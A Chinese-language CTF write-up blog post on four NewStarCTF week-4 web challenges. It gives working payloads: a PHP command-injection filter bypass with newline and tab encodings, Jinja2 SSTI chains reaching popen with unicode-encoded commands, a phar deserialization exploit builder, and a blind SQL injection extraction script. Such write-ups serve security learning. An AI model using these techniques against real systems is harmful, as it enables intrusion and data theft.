NewStarCTF 公开赛 第四周 学习记录

  • Post author:
  • Post category:其他


。。。这周属实给我整不会了。。。。。。。。。。说好的更简单的,misc一题没看懂。。。。就搞几题web,搞了一天多,之后剩下的不会了,去学习其他东西了,不过还是学习到不少东西

web

So Baby RCE

<?php
error_reporting(0);
if(isset($_GET["cmd"])){
    if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
       echo "Don't Hack Me";
    }else{
        system($_GET["cmd"]);
    }
}else{
    show_source(__FILE__);
}

过滤的东西还是十分的多的,我一直想着构造/,给我整麻了,结果忘了它没过滤%0a属实是草率了。。。

因为%0a相当于;   在linux就是命令分隔符,我们可以构造语句,来到根目录就行,因为过滤fl这个的话就用未赋值的变量就行,列如:$1  没赋值的变量相当于空

pwd
//得到自己所在目录/var/www/html 

%0acd%09..%0acd%09..%0acd%09..%0als
//得到bin boot dev etc ffffllllaaaaggggg home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var  这个ffffllllaaaaggggg肯定是我们的目标了

%0acd%09..%0acd%09..%0acd%09..%0asort%09ffff$1llllaaaaggggg
//得到flag

BabySSTI_Two

详细一点可以看我的BabySSTI_One

这个我感觉比上面那个rce简单多了。。。。和BabySSTI_One没啥大区别感觉

只多过滤了一些命令还有双引号

所以我们用[]

{{[]['__cl''ass__']['__ba''se__']['__subc''lasses__']()}}

先看看危险函数在那里

还是在117

{{[]['__cl''ass__']['__ba''se__']['__subc''lasses__']()[117]['__in''it__']['__glo''bals__']['po''pen']('ls').read()}}

但是想进行下一步操作,突然发现他对这个命令执行,有好多过滤,但是ssti可以有编码绕过

{{[]['__cl''ass__']['__ba''se__']['__subc''lasses__']()[117]['__in''it__']['__glo''bals__']['po''pen']('\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u005f\u0069\u006e\u005f\u0068\u0033\u0072\u0033\u005f\u0035\u0032\u0064\u0061\u0061\u0064').read()}}

UnserializeThree

题目介绍的就挺明白了吧,文件上传和反序列化,这不就是phar吗。

就只有上传文件的地方吗,先看看哪里有,要反序列化的东西,看看源代码 =_=

找到提示了,看看class.php得到

 <?php
highlight_file(__FILE__);
class Evil{
    public $cmd;
    public function __destruct()
    {
        if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){
            //Same point ,can you bypass me again?
            eval("#".$this->cmd);
        }else{
            echo "No!";
        }
    }
}

file_exists($_GET['file']); 

这里我们分析,上传的文件通过file读取,要绕过#,进行命令执行

这里这样使用

<?php

class Evil
{
    public $cmd="\rsystem('ls /');";
}

$a = new Evil();

$phar = new Phar("test.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER(); ?>");

$phar -> setMetadata($a);

$phar -> addFromString("test.txt", "test");
$phar -> stopBuffering();

因为要绕过单行注释#,但是因为\n被过滤了,这里我们使用\r

你这个运行以后就会多出来一个test.phar文件

上传test.phar之前,直接把后缀改成gif,因为他上传还有过滤,而且后缀不会产生什么影响的

这里我们使用phar://协议

接下来更改一下上面的PHP文件就行了,cat /flag就行了

又一个SQL

经过尝试没有任何回显,过滤的东西也很少,在使劲使劲,发现是盲注

这里有脚本给大家

import requests
import time

s = requests.Session()
url = 'http://fdb4abae-cc0f-46bb-a8e3-eafaa4781466.node4.buuoj.cn:81/comments.php'
flag = ''
i = 0
d = 0
while d == 0:
    i = i + 1
    low = 32
    high = 128
    while low < high:
        l = (low + high) // 2
        # payload = f"1^(ascii(substr((select(database())),{i},1))>{l})"
        # payload = f"1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{l})+'0"
        # payload = f"1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{l})"
        # payload = f"1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='wfy_comments')),{i},1))>{l})"
        payload = f"1^(ascii(substr((select(text)from(wfy_comments)where(user='f1ag_is_here')),{i},1))>{l})"
        da = {
            "name": payload
        }
        r = s.post(url=url, data=da)
        r.encoding = "utf-8"
        print(payload)
        if '耶' in r.text:
            high = l
        else:
            low = l + 1
        time.sleep(0.2)
    if low != 32:
        flag += chr(low)
        print(flag)
    else:
        break
print(flag)



版权声明:本文为m0_64815693原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。